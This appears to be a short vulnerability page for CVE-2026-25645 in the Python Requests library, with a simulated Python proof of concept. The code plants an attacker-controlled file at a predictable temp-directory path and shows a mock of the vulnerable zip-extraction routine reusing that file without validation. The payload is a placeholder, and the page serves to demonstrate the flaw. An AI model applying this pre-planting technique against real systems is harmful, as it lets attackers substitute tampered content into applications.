CVE-2026-25645 Python Requests库路径预测漏洞

import os import tempfile # This PoC demonstrates the vulnerability scenario. # It simulates an attacker creating a predictable file in the temp directory # before the vulnerable application extracts the zip. def attacker_simulation(): # 1. Determine the temp directory temp_dir = tempfile.gettempdir() # 2. Predict the filename that the vulnerable function will generate # (Based on the hash of the zip content or predictable logic in older versions) predictable_filename = "vulnerable_extract_target_file.bin" full_path = os.path.join(temp_dir, predictable_filename) print(f"[+] Attacker targeting path: {full_path}") # 3. Create the malicious file with open(full_path, 'wb') as f: f.write(b"MALICIOUS_PAYLOAD_CONTROLLED_BY_ATTACKER") print(f"[+] Malicious file created successfully.") return full_path def vulnerable_app_simulation(target_path): # This simulates the logic in requests.utils.extract_zipped_paths() # Check if file exists (The vulnerability: reusing without validation) if os.path.exists(target_path): print("[*] File found in temp dir. Reusing without extraction/validation.") with open(target_path, 'rb') as f: return f.read() else: print("[-] File not found. Extracting...") return b"LEGITIMATE_CONTENT" # Execute simulation malicious_path = attacker_simulation() loaded_content = vulnerable_app_simulation(malicious_path) print(f"[+] Content loaded by application: {loaded_content}")